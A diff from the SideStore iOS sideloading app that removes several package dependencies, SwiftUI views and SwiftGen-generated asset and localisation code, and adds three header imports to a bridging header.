package = 99C4EF472978D52400CB538D /* XCRemoteSwiftPackageReference "SemanticVersion" */;
|
||||
|
||||
@@ -18,24 +18,6 @@
|
||||
"version" : "4.4.2"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "asyncimage",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/fabianthdev/AsyncImage",
|
||||
"state" : {
|
||||
"branch" : "main",
|
||||
"revision" : "018a4fffea025066d795ebb025c2769183f3fffb"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "expandabletext",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/fabianthdev/ExpandableText",
|
||||
"state" : {
|
||||
"branch" : "main",
|
||||
"revision" : "a375f5b8c73f0af69aa7add890378fdf404a29bc"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "keychainaccess",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -54,15 +36,6 @@
|
||||
"version" : "4.2.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "localconsole",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/duraidabdul/LocalConsole.git",
|
||||
"state" : {
|
||||
"revision" : "2c5d5e018acd4963fe6dfe858f6d6fecef7cbf2f",
|
||||
"version" : "1.12.1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "nuke",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -90,15 +63,6 @@
|
||||
"version" : "1.10.1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "reachability.swift",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/ashleymills/Reachability.swift",
|
||||
"state" : {
|
||||
"branch" : "master",
|
||||
"revision" : "a81b7367f2c46875f29577e03a60c39cdfad0c8d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "semanticversion",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -108,15 +72,6 @@
|
||||
"version" : "0.3.5"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "sfsafesymbols",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/SFSafeSymbols/SFSafeSymbols",
|
||||
"state" : {
|
||||
"revision" : "50bc33264e6c0972f905b61af656201cf6091de8",
|
||||
"version" : "4.0.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "sparkle",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -126,15 +81,6 @@
|
||||
"version" : "2.1.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "starscream",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/daltoniam/Starscream.git",
|
||||
"state" : {
|
||||
"revision" : "df8d82047f6654d8e4b655d1b1525c64e1059d21",
|
||||
"version" : "4.0.4"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "stprivilegedtask",
|
||||
"kind" : "remoteSourceControl",
|
||||
|
||||
@@ -5,4 +5,8 @@
|
||||
#import "NSAttributedString+Markdown.h"
|
||||
#import "ALTAppPatcher.h"
|
||||
|
||||
#import "grant_fda.h"
|
||||
#import "vm_unalign_csr.h"
|
||||
#import "helping_tools.h"
|
||||
|
||||
#include "fragmentzip.h"
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
//
|
||||
// SideStoreUIApp.swift
|
||||
// SideStoreUI
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@main
|
||||
struct SideStoreUIApp: App {
|
||||
var body: some Scene {
|
||||
WindowGroup {
|
||||
RootView()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -58,9 +58,6 @@ final class AppDelegate: UIResponder, UIApplicationDelegate {
|
||||
|
||||
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
|
||||
{
|
||||
// Copy STDOUT and STDERR to the logging console
|
||||
_ = OutputCapturer.shared
|
||||
|
||||
// Register default settings before doing anything else.
|
||||
UserDefaults.registerDefaults()
|
||||
|
||||
|
||||
@@ -1,19 +0,0 @@
|
||||
//
|
||||
// Source+Trusted.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 04.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
extension Source {
|
||||
var isOfficial: Bool {
|
||||
self.identifier == Source.altStoreIdentifier
|
||||
}
|
||||
|
||||
var isTrusted: Bool {
|
||||
UserDefaults.shared.trustedSourceIDs?.contains(self.identifier) ?? false
|
||||
}
|
||||
}
|
||||
@@ -1,17 +0,0 @@
|
||||
//
|
||||
// StoreApp+Searchable.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 01.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
extension StoreApp: Filterable {
|
||||
func matches(_ searchText: String) -> Bool {
|
||||
searchText.isEmpty ||
|
||||
self.name.lowercased().contains(searchText.lowercased()) ||
|
||||
self.developerName.lowercased().contains(searchText.lowercased())
|
||||
}
|
||||
}
|
||||
@@ -1,19 +0,0 @@
|
||||
//
|
||||
// StoreApp+Trusted.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 04.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
extension StoreApp {
|
||||
var isFromOfficialSource: Bool {
|
||||
self.source?.isOfficial ?? false
|
||||
}
|
||||
|
||||
var isFromTrustedSource: Bool {
|
||||
self.source?.isTrusted ?? false
|
||||
}
|
||||
}
|
||||
@@ -1,201 +0,0 @@
|
||||
// swiftlint:disable all
|
||||
// Generated using SwiftGen — https://github.com/SwiftGen/SwiftGen
|
||||
|
||||
#if os(macOS)
|
||||
import AppKit
|
||||
#elseif os(iOS)
|
||||
import UIKit
|
||||
#elseif os(tvOS) || os(watchOS)
|
||||
import UIKit
|
||||
#endif
|
||||
#if canImport(SwiftUI)
|
||||
import SwiftUI
|
||||
#endif
|
||||
|
||||
// Deprecated typealiases
|
||||
@available(*, deprecated, renamed: "ColorAsset.Color", message: "This typealias will be removed in SwiftGen 7.0")
|
||||
internal typealias AssetColorTypeAlias = ColorAsset.Color
|
||||
@available(*, deprecated, renamed: "ImageAsset.Image", message: "This typealias will be removed in SwiftGen 7.0")
|
||||
internal typealias AssetImageTypeAlias = ImageAsset.Image
|
||||
|
||||
// swiftlint:disable superfluous_disable_command file_length implicit_return
|
||||
|
||||
// MARK: - Asset Catalogs
|
||||
|
||||
// swiftlint:disable identifier_name line_length nesting type_body_length type_name
|
||||
internal enum Asset {
|
||||
internal static let back = ImageAsset(name: "Back")
|
||||
internal static let betaBadge = ImageAsset(name: "BetaBadge")
|
||||
internal static let accentColor = ColorAsset(name: "AccentColor")
|
||||
internal static let background = ColorAsset(name: "Background")
|
||||
internal static let blurTint = ColorAsset(name: "BlurTint")
|
||||
internal static let settingsBackground = ColorAsset(name: "SettingsBackground")
|
||||
internal static let settingsHighlighted = ColorAsset(name: "SettingsHighlighted")
|
||||
internal static let next = ImageAsset(name: "Next")
|
||||
internal static let riley = ImageAsset(name: "Riley")
|
||||
internal static let shane = ImageAsset(name: "Shane")
|
||||
internal static let browse = ImageAsset(name: "Browse")
|
||||
internal static let myApps = ImageAsset(name: "MyApps")
|
||||
internal static let news = ImageAsset(name: "News")
|
||||
internal static let settings = ImageAsset(name: "Settings")
|
||||
}
|
||||
// swiftlint:enable identifier_name line_length nesting type_body_length type_name
|
||||
|
||||
// MARK: - Implementation Details
|
||||
|
||||
internal final class ColorAsset {
|
||||
internal fileprivate(set) var name: String
|
||||
|
||||
#if os(macOS)
|
||||
internal typealias Color = NSColor
|
||||
#elseif os(iOS) || os(tvOS) || os(watchOS)
|
||||
internal typealias Color = UIColor
|
||||
#endif
|
||||
|
||||
@available(iOS 11.0, tvOS 11.0, watchOS 4.0, macOS 10.13, *)
|
||||
internal private(set) lazy var color: Color = {
|
||||
guard let color = Color(asset: self) else {
|
||||
fatalError("Unable to load color asset named \(name).")
|
||||
}
|
||||
return color
|
||||
}()
|
||||
|
||||
#if os(iOS) || os(tvOS)
|
||||
@available(iOS 11.0, tvOS 11.0, *)
|
||||
internal func color(compatibleWith traitCollection: UITraitCollection) -> Color {
|
||||
let bundle = BundleToken.bundle
|
||||
guard let color = Color(named: name, in: bundle, compatibleWith: traitCollection) else {
|
||||
fatalError("Unable to load color asset named \(name).")
|
||||
}
|
||||
return color
|
||||
}
|
||||
#endif
|
||||
|
||||
#if canImport(SwiftUI)
|
||||
@available(iOS 13.0, tvOS 13.0, watchOS 6.0, macOS 10.15, *)
|
||||
internal private(set) lazy var swiftUIColor: SwiftUI.Color = {
|
||||
SwiftUI.Color(asset: self)
|
||||
}()
|
||||
#endif
|
||||
|
||||
fileprivate init(name: String) {
|
||||
self.name = name
|
||||
}
|
||||
}
|
||||
|
||||
internal extension ColorAsset.Color {
|
||||
@available(iOS 11.0, tvOS 11.0, watchOS 4.0, macOS 10.13, *)
|
||||
convenience init?(asset: ColorAsset) {
|
||||
let bundle = BundleToken.bundle
|
||||
#if os(iOS) || os(tvOS)
|
||||
self.init(named: asset.name, in: bundle, compatibleWith: nil)
|
||||
#elseif os(macOS)
|
||||
self.init(named: NSColor.Name(asset.name), bundle: bundle)
|
||||
#elseif os(watchOS)
|
||||
self.init(named: asset.name)
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
#if canImport(SwiftUI)
|
||||
@available(iOS 13.0, tvOS 13.0, watchOS 6.0, macOS 10.15, *)
|
||||
internal extension SwiftUI.Color {
|
||||
init(asset: ColorAsset) {
|
||||
let bundle = BundleToken.bundle
|
||||
self.init(asset.name, bundle: bundle)
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
internal struct ImageAsset {
|
||||
internal fileprivate(set) var name: String
|
||||
|
||||
#if os(macOS)
|
||||
internal typealias Image = NSImage
|
||||
#elseif os(iOS) || os(tvOS) || os(watchOS)
|
||||
internal typealias Image = UIImage
|
||||
#endif
|
||||
|
||||
@available(iOS 8.0, tvOS 9.0, watchOS 2.0, macOS 10.7, *)
|
||||
internal var image: Image {
|
||||
let bundle = BundleToken.bundle
|
||||
#if os(iOS) || os(tvOS)
|
||||
let image = Image(named: name, in: bundle, compatibleWith: nil)
|
||||
#elseif os(macOS)
|
||||
let name = NSImage.Name(self.name)
|
||||
let image = (bundle == .main) ? NSImage(named: name) : bundle.image(forResource: name)
|
||||
#elseif os(watchOS)
|
||||
let image = Image(named: name)
|
||||
#endif
|
||||
guard let result = image else {
|
||||
fatalError("Unable to load image asset named \(name).")
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
#if os(iOS) || os(tvOS)
|
||||
@available(iOS 8.0, tvOS 9.0, *)
|
||||
internal func image(compatibleWith traitCollection: UITraitCollection) -> Image {
|
||||
let bundle = BundleToken.bundle
|
||||
guard let result = Image(named: name, in: bundle, compatibleWith: traitCollection) else {
|
||||
fatalError("Unable to load image asset named \(name).")
|
||||
}
|
||||
return result
|
||||
}
|
||||
#endif
|
||||
|
||||
#if canImport(SwiftUI)
|
||||
@available(iOS 13.0, tvOS 13.0, watchOS 6.0, macOS 10.15, *)
|
||||
internal var swiftUIImage: SwiftUI.Image {
|
||||
SwiftUI.Image(asset: self)
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
internal extension ImageAsset.Image {
|
||||
@available(iOS 8.0, tvOS 9.0, watchOS 2.0, *)
|
||||
@available(macOS, deprecated,
|
||||
message: "This initializer is unsafe on macOS, please use the ImageAsset.image property")
|
||||
convenience init?(asset: ImageAsset) {
|
||||
#if os(iOS) || os(tvOS)
|
||||
let bundle = BundleToken.bundle
|
||||
self.init(named: asset.name, in: bundle, compatibleWith: nil)
|
||||
#elseif os(macOS)
|
||||
self.init(named: NSImage.Name(asset.name))
|
||||
#elseif os(watchOS)
|
||||
self.init(named: asset.name)
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
#if canImport(SwiftUI)
|
||||
@available(iOS 13.0, tvOS 13.0, watchOS 6.0, macOS 10.15, *)
|
||||
internal extension SwiftUI.Image {
|
||||
init(asset: ImageAsset) {
|
||||
let bundle = BundleToken.bundle
|
||||
self.init(asset.name, bundle: bundle)
|
||||
}
|
||||
|
||||
init(asset: ImageAsset, label: Text) {
|
||||
let bundle = BundleToken.bundle
|
||||
self.init(asset.name, bundle: bundle, label: label)
|
||||
}
|
||||
|
||||
init(decorative asset: ImageAsset) {
|
||||
let bundle = BundleToken.bundle
|
||||
self.init(decorative: asset.name, bundle: bundle)
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
// swiftlint:disable convenience_type
|
||||
private final class BundleToken {
|
||||
static let bundle: Bundle = {
|
||||
#if SWIFT_PACKAGE
|
||||
return Bundle.module
|
||||
#else
|
||||
return Bundle(for: BundleToken.self)
|
||||
#endif
|
||||
}()
|
||||
}
|
||||
// swiftlint:enable convenience_type
|
||||
@@ -1,351 +0,0 @@
|
||||
// swiftlint:disable all
|
||||
// Generated using SwiftGen — https://github.com/SwiftGen/SwiftGen
|
||||
|
||||
import Foundation
|
||||
|
||||
// swiftlint:disable superfluous_disable_command file_length implicit_return prefer_self_in_static_references
|
||||
|
||||
// MARK: - Strings
|
||||
|
||||
// swiftlint:disable explicit_type_interface function_parameter_count identifier_name line_length
|
||||
// swiftlint:disable nesting type_body_length type_name vertical_whitespace_opening_braces
|
||||
internal enum L10n {
|
||||
internal enum Action {
|
||||
/// Close
|
||||
internal static let close = L10n.tr("Localizable", "Action.close", fallback: "Close")
|
||||
/// General Actions
|
||||
internal static let done = L10n.tr("Localizable", "Action.done", fallback: "Done")
|
||||
}
|
||||
internal enum AddSourceView {
|
||||
/// Continue
|
||||
internal static let `continue` = L10n.tr("Localizable", "AddSourceView.continue", fallback: "Continue")
|
||||
/// AddSourceView
|
||||
internal static let sourceURL = L10n.tr("Localizable", "AddSourceView.sourceURL", fallback: "Source URL")
|
||||
/// Please enter the source url here. Then, tap continue to validate and add the source in the next step.
|
||||
internal static let sourceWarning = L10n.tr("Localizable", "AddSourceView.sourceWarning", fallback: "Please enter the source url here. Then, tap continue to validate and add the source in the next step.")
|
||||
/// Be careful with unvalidated third-party sources! Make sure to only add sources that you trust.
|
||||
internal static let sourceWarningContinued = L10n.tr("Localizable", "AddSourceView.sourceWarningContinued", fallback: "Be careful with unvalidated third-party sources! Make sure to only add sources that you trust.")
|
||||
/// Add Source
|
||||
internal static let title = L10n.tr("Localizable", "AddSourceView.title", fallback: "Add Source")
|
||||
}
|
||||
internal enum AppAction {
|
||||
/// Activate
|
||||
internal static let activate = L10n.tr("Localizable", "AppAction.activate", fallback: "Activate")
|
||||
/// Backup
|
||||
internal static let backup = L10n.tr("Localizable", "AppAction.backup", fallback: "Backup")
|
||||
/// Customize icon
|
||||
internal static let chooseCustomIcon = L10n.tr("Localizable", "AppAction.chooseCustomIcon", fallback: "Customize icon")
|
||||
/// Deactivate
|
||||
internal static let deactivate = L10n.tr("Localizable", "AppAction.deactivate", fallback: "Deactivate")
|
||||
/// Activate JIT
|
||||
internal static let enableJIT = L10n.tr("Localizable", "AppAction.enableJIT", fallback: "Activate JIT")
|
||||
/// Export backup
|
||||
internal static let exportBackup = L10n.tr("Localizable", "AppAction.exportBackup", fallback: "Export backup")
|
||||
/// AppAction
|
||||
internal static let install = L10n.tr("Localizable", "AppAction.install", fallback: "Install")
|
||||
/// Open
|
||||
internal static let `open` = L10n.tr("Localizable", "AppAction.open", fallback: "Open")
|
||||
/// Refresh
|
||||
internal static let refresh = L10n.tr("Localizable", "AppAction.refresh", fallback: "Refresh")
|
||||
/// Remove
|
||||
internal static let remove = L10n.tr("Localizable", "AppAction.remove", fallback: "Remove")
|
||||
/// Reset icon
|
||||
internal static let resetIcon = L10n.tr("Localizable", "AppAction.resetIcon", fallback: "Reset icon")
|
||||
/// Restore backup
|
||||
internal static let restoreBackup = L10n.tr("Localizable", "AppAction.restoreBackup", fallback: "Restore backup")
|
||||
}
|
||||
internal enum AppDetailView {
|
||||
/// Information
|
||||
internal static let information = L10n.tr("Localizable", "AppDetailView.information", fallback: "Information")
|
||||
/// More...
|
||||
internal static let more = L10n.tr("Localizable", "AppDetailView.more", fallback: "More...")
|
||||
/// The app requires no permissions.
|
||||
internal static let noPermissions = L10n.tr("Localizable", "AppDetailView.noPermissions", fallback: "The app requires no permissions.")
|
||||
/// No screenshots available for this app.
|
||||
internal static let noScreenshots = L10n.tr("Localizable", "AppDetailView.noScreenshots", fallback: "No screenshots available for this app.")
|
||||
/// No version information
|
||||
internal static let noVersionInformation = L10n.tr("Localizable", "AppDetailView.noVersionInformation", fallback: "No version information")
|
||||
/// Permissions
|
||||
internal static let permissions = L10n.tr("Localizable", "AppDetailView.permissions", fallback: "Permissions")
|
||||
/// Ratings & Reviews
|
||||
internal static let reviews = L10n.tr("Localizable", "AppDetailView.reviews", fallback: "Ratings & Reviews")
|
||||
/// Version %@
|
||||
internal static func version(_ p1: Any) -> String {
|
||||
return L10n.tr("Localizable", "AppDetailView.version", String(describing: p1), fallback: "Version %@")
|
||||
}
|
||||
/// What's New
|
||||
internal static let whatsNew = L10n.tr("Localizable", "AppDetailView.whatsNew", fallback: "What's New")
|
||||
internal enum Badge {
|
||||
/// AppDetailView
|
||||
internal static let official = L10n.tr("Localizable", "AppDetailView.Badge.official", fallback: "Official App")
|
||||
/// From Trusted Source
|
||||
internal static let trusted = L10n.tr("Localizable", "AppDetailView.Badge.trusted", fallback: "From Trusted Source")
|
||||
}
|
||||
internal enum Information {
|
||||
/// Compatibility
|
||||
internal static let compatibility = L10n.tr("Localizable", "AppDetailView.Information.compatibility", fallback: "Compatibility")
|
||||
/// Requires iOS %@ or higher
|
||||
internal static func compatibilityAtLeast(_ p1: Any) -> String {
|
||||
return L10n.tr("Localizable", "AppDetailView.Information.compatibilityAtLeast", String(describing: p1), fallback: "Requires iOS %@ or higher")
|
||||
}
|
||||
/// Unknown
|
||||
internal static let compatibilityCompatible = L10n.tr("Localizable", "AppDetailView.Information.compatibilityCompatible", fallback: "Unknown")
|
||||
/// Requires iOS %@ or lower
|
||||
internal static func compatibilityOrLower(_ p1: Any) -> String {
|
||||
return L10n.tr("Localizable", "AppDetailView.Information.compatibilityOrLower", String(describing: p1), fallback: "Requires iOS %@ or lower")
|
||||
}
|
||||
/// Unknown
|
||||
internal static let compatibilityUnknown = L10n.tr("Localizable", "AppDetailView.Information.compatibilityUnknown", fallback: "Unknown")
|
||||
/// Developer
|
||||
internal static let developer = L10n.tr("Localizable", "AppDetailView.Information.developer", fallback: "Developer")
|
||||
/// Latest Version
|
||||
internal static let latestVersion = L10n.tr("Localizable", "AppDetailView.Information.latestVersion", fallback: "Latest Version")
|
||||
/// Size
|
||||
internal static let size = L10n.tr("Localizable", "AppDetailView.Information.size", fallback: "Size")
|
||||
/// Source
|
||||
internal static let source = L10n.tr("Localizable", "AppDetailView.Information.source", fallback: "Source")
|
||||
}
|
||||
internal enum Reviews {
|
||||
/// out of %d
|
||||
internal static func outOf(_ p1: Int) -> String {
|
||||
return L10n.tr("Localizable", "AppDetailView.Reviews.outOf", p1, fallback: "out of %d")
|
||||
}
|
||||
/// %d Ratings
|
||||
internal static func ratings(_ p1: Int) -> String {
|
||||
return L10n.tr("Localizable", "AppDetailView.Reviews.ratings", p1, fallback: "%d Ratings")
|
||||
}
|
||||
/// See All
|
||||
internal static let seeAll = L10n.tr("Localizable", "AppDetailView.Reviews.seeAll", fallback: "See All")
|
||||
}
|
||||
internal enum WhatsNew {
|
||||
/// Show project on GitHub
|
||||
internal static let showOnGithub = L10n.tr("Localizable", "AppDetailView.WhatsNew.showOnGithub", fallback: "Show project on GitHub")
|
||||
/// Version History
|
||||
internal static let versionHistory = L10n.tr("Localizable", "AppDetailView.WhatsNew.versionHistory", fallback: "Version History")
|
||||
}
|
||||
}
|
||||
internal enum AppIDsView {
|
||||
/// Each app and app extension installed with SideStore must register an App ID with Apple.
|
||||
///
|
||||
/// App IDs for paid developer accounts never expire, and there is no limit to how many you can create.
|
||||
internal static let description = L10n.tr("Localizable", "AppIDsView.description", fallback: "Each app and app extension installed with SideStore must register an App ID with Apple.\n\nApp IDs for paid developer accounts never expire, and there is no limit to how many you can create.")
|
||||
/// AppIDsView
|
||||
internal static let title = L10n.tr("Localizable", "AppIDsView.title", fallback: "App IDs")
|
||||
}
|
||||
internal enum AppPermissionGrid {
|
||||
/// AppPermissionGrid
|
||||
internal static let usageDescription = L10n.tr("Localizable", "AppPermissionGrid.usageDescription", fallback: "Usage Description")
|
||||
}
|
||||
internal enum AppPillButton {
|
||||
/// AppPillButton
|
||||
internal static let free = L10n.tr("Localizable", "AppPillButton.free", fallback: "Free")
|
||||
/// Open
|
||||
internal static let `open` = L10n.tr("Localizable", "AppPillButton.open", fallback: "Open")
|
||||
}
|
||||
internal enum AppRowView {
|
||||
/// AppRowView
|
||||
internal static let sideloaded = L10n.tr("Localizable", "AppRowView.sideloaded", fallback: "Sideloaded")
|
||||
}
|
||||
internal enum BrowseView {
|
||||
/// Search
|
||||
internal static let search = L10n.tr("Localizable", "BrowseView.search", fallback: "Search")
|
||||
/// BrowseView
|
||||
internal static let title = L10n.tr("Localizable", "BrowseView.title", fallback: "Browse")
|
||||
internal enum Actions {
|
||||
/// Sources
|
||||
internal static let sources = L10n.tr("Localizable", "BrowseView.Actions.sources", fallback: "Sources")
|
||||
}
|
||||
internal enum Categories {
|
||||
/// Games and
|
||||
/// Emulators
|
||||
internal static let gamesAndEmulators = L10n.tr("Localizable", "BrowseView.Categories.gamesAndEmulators", fallback: "Games and\nEmulators")
|
||||
}
|
||||
internal enum Hints {
|
||||
internal enum NoApps {
|
||||
/// Add Source
|
||||
internal static let addSource = L10n.tr("Localizable", "BrowseView.Hints.NoApps.addSource", fallback: "Add Source")
|
||||
/// Apps are provided by "sources". The specification for them is an open standard, so everyone can create their own source. To get you started, we have compiled a list of "Trusted Sources" which you can check out by tapping the button below.
|
||||
internal static let text = L10n.tr("Localizable", "BrowseView.Hints.NoApps.text", fallback: "Apps are provided by \"sources\". The specification for them is an open standard, so everyone can create their own source. To get you started, we have compiled a list of \"Trusted Sources\" which you can check out by tapping the button below.")
|
||||
/// You don't have any apps yet.
|
||||
internal static let title = L10n.tr("Localizable", "BrowseView.Hints.NoApps.title", fallback: "You don't have any apps yet.")
|
||||
}
|
||||
}
|
||||
internal enum Section {
|
||||
internal enum AllApps {
|
||||
/// All Apps
|
||||
internal static let title = L10n.tr("Localizable", "BrowseView.Section.AllApps.title", fallback: "All Apps")
|
||||
}
|
||||
internal enum PromotedCategories {
|
||||
/// Show all
|
||||
internal static let showAll = L10n.tr("Localizable", "BrowseView.Section.PromotedCategories.showAll", fallback: "Show all")
|
||||
/// Promoted Categories
|
||||
internal static let title = L10n.tr("Localizable", "BrowseView.Section.PromotedCategories.title", fallback: "Promoted Categories")
|
||||
}
|
||||
}
|
||||
}
|
||||
internal enum ConfirmAddSourceView {
|
||||
/// Add Source
|
||||
internal static let addSource = L10n.tr("Localizable", "ConfirmAddSourceView.addSource", fallback: "Add Source")
|
||||
/// ConfirmAddSourceView
|
||||
internal static let apps = L10n.tr("Localizable", "ConfirmAddSourceView.apps", fallback: "Apps")
|
||||
/// News Items
|
||||
internal static let newsItems = L10n.tr("Localizable", "ConfirmAddSourceView.newsItems", fallback: "News Items")
|
||||
/// Source Contents
|
||||
internal static let sourceContents = L10n.tr("Localizable", "ConfirmAddSourceView.sourceContents", fallback: "Source Contents")
|
||||
/// Source Identifier
|
||||
internal static let sourceIdentifier = L10n.tr("Localizable", "ConfirmAddSourceView.sourceIdentifier", fallback: "Source Identifier")
|
||||
/// Source Information
|
||||
internal static let sourceInfo = L10n.tr("Localizable", "ConfirmAddSourceView.sourceInfo", fallback: "Source Information")
|
||||
/// Source URL
|
||||
internal static let sourceURL = L10n.tr("Localizable", "ConfirmAddSourceView.sourceURL", fallback: "Source URL")
|
||||
}
|
||||
internal enum ConnectAppleIDView {
|
||||
/// Apple ID
|
||||
internal static let appleID = L10n.tr("Localizable", "ConnectAppleIDView.appleID", fallback: "Apple ID")
|
||||
/// Cancel
|
||||
internal static let cancel = L10n.tr("Localizable", "ConnectAppleIDView.cancel", fallback: "Cancel")
|
||||
/// Connect Your Apple ID
|
||||
internal static let connectYourAppleID = L10n.tr("Localizable", "ConnectAppleIDView.connectYourAppleID", fallback: "Connect Your Apple ID")
|
||||
/// Failed to Sign In
|
||||
internal static let failedToSignIn = L10n.tr("Localizable", "ConnectAppleIDView.failedToSignIn", fallback: "Failed to Sign In")
|
||||
/// Your Apple ID is used to configure apps so they can be installed on this device. Your credentials will be stored securely in this device's Keychain and sent only to Apple for authentication.
|
||||
internal static let footer = L10n.tr("Localizable", "ConnectAppleIDView.footer", fallback: "Your Apple ID is used to configure apps so they can be installed on this device. Your credentials will be stored securely in this device's Keychain and sent only to Apple for authentication.")
|
||||
/// Password
|
||||
internal static let password = L10n.tr("Localizable", "ConnectAppleIDView.password", fallback: "Password")
|
||||
/// Sign In
|
||||
internal static let signIn = L10n.tr("Localizable", "ConnectAppleIDView.signIn", fallback: "Sign In")
|
||||
/// ConnectAppleIDView
|
||||
internal static let startWithSignIn = L10n.tr("Localizable", "ConnectAppleIDView.startWithSignIn", fallback: "Sign in with your Apple ID to get started.")
|
||||
/// Why do we need this?
|
||||
internal static let whyDoWeNeedThis = L10n.tr("Localizable", "ConnectAppleIDView.whyDoWeNeedThis", fallback: "Why do we need this?")
|
||||
}
|
||||
internal enum MyAppsView {
|
||||
/// MyAppsView
|
||||
internal static let active = L10n.tr("Localizable", "MyAppsView.active", fallback: "Active")
|
||||
/// App IDs Remaining
|
||||
internal static let appIDsRemaining = L10n.tr("Localizable", "MyAppsView.appIDsRemaining", fallback: "App IDs Remaining")
|
||||
/// apps
|
||||
internal static let apps = L10n.tr("Localizable", "MyAppsView.apps", fallback: "apps")
|
||||
/// Failed to refresh
|
||||
internal static let failedToRefresh = L10n.tr("Localizable", "MyAppsView.failedToRefresh", fallback: "Failed to refresh")
|
||||
/// My Apps
|
||||
internal static let myApps = L10n.tr("Localizable", "MyAppsView.myApps", fallback: "My Apps")
|
||||
/// Refresh All
|
||||
internal static let refreshAll = L10n.tr("Localizable", "MyAppsView.refreshAll", fallback: "Refresh All")
|
||||
/// Sideloading in progress...
|
||||
internal static let sideloading = L10n.tr("Localizable", "MyAppsView.sideloading", fallback: "Sideloading in progress...")
|
||||
/// Keep this lowercase
|
||||
internal static let viewAppIDs = L10n.tr("Localizable", "MyAppsView.viewAppIDs", fallback: "View App IDs")
|
||||
internal enum Hints {
|
||||
internal enum NoUpdates {
|
||||
/// Dismiss for now
|
||||
internal static let dismissForNow = L10n.tr("Localizable", "MyAppsView.Hints.NoUpdates.dismissForNow", fallback: "Dismiss for now")
|
||||
/// Don't show this again
|
||||
internal static let dontShowAgain = L10n.tr("Localizable", "MyAppsView.Hints.NoUpdates.dontShowAgain", fallback: "Don't show this again")
|
||||
/// You will be notified once updates for your apps are available. The updates will then be shown here.
|
||||
internal static let text = L10n.tr("Localizable", "MyAppsView.Hints.NoUpdates.text", fallback: "You will be notified once updates for your apps are available. The updates will then be shown here.")
|
||||
/// All Apps are Up To Date
|
||||
internal static let title = L10n.tr("Localizable", "MyAppsView.Hints.NoUpdates.title", fallback: "All Apps are Up To Date")
|
||||
}
|
||||
}
|
||||
}
|
||||
internal enum NewsView {
|
||||
/// NewsView
|
||||
internal static let title = L10n.tr("Localizable", "NewsView.title", fallback: "News")
|
||||
internal enum Section {
|
||||
internal enum FromSources {
|
||||
/// From your Sources
|
||||
internal static let title = L10n.tr("Localizable", "NewsView.Section.FromSources.title", fallback: "From your Sources")
|
||||
}
|
||||
}
|
||||
}
|
||||
internal enum RootView {
|
||||
/// Browse
|
||||
internal static let browse = L10n.tr("Localizable", "RootView.browse", fallback: "Browse")
|
||||
/// My Apps
|
||||
internal static let myApps = L10n.tr("Localizable", "RootView.myApps", fallback: "My Apps")
|
||||
/// RootView
|
||||
internal static let news = L10n.tr("Localizable", "RootView.news", fallback: "News")
|
||||
/// Settings
|
||||
internal static let settings = L10n.tr("Localizable", "RootView.settings", fallback: "Settings")
|
||||
}
|
||||
internal enum SettingsView {
|
||||
/// Add to Siri...
|
||||
internal static let addToSiri = L10n.tr("Localizable", "SettingsView.addToSiri", fallback: "Add to Siri...")
|
||||
/// Background Refresh
|
||||
internal static let backgroundRefresh = L10n.tr("Localizable", "SettingsView.backgroundRefresh", fallback: "Background Refresh")
|
||||
/// Connect your Apple ID
|
||||
internal static let connectAppleID = L10n.tr("Localizable", "SettingsView.connectAppleID", fallback: "Connect your Apple ID")
|
||||
/// Credits
|
||||
internal static let credits = L10n.tr("Localizable", "SettingsView.credits", fallback: "Credits")
|
||||
/// Debug
|
||||
internal static let debug = L10n.tr("Localizable", "SettingsView.debug", fallback: "Debug")
|
||||
/// Refreshing Apps
|
||||
internal static let refreshingApps = L10n.tr("Localizable", "SettingsView.refreshingApps", fallback: "Refreshing Apps")
|
||||
/// Enable Background Refresh to automatically refresh apps in the background when connected to WiFi and with Wireguard active.
|
||||
internal static let refreshingAppsFooter = L10n.tr("Localizable", "SettingsView.refreshingAppsFooter", fallback: "Enable Background Refresh to automatically refresh apps in the background when connected to WiFi and with Wireguard active.")
|
||||
/// Reset Image Cache
|
||||
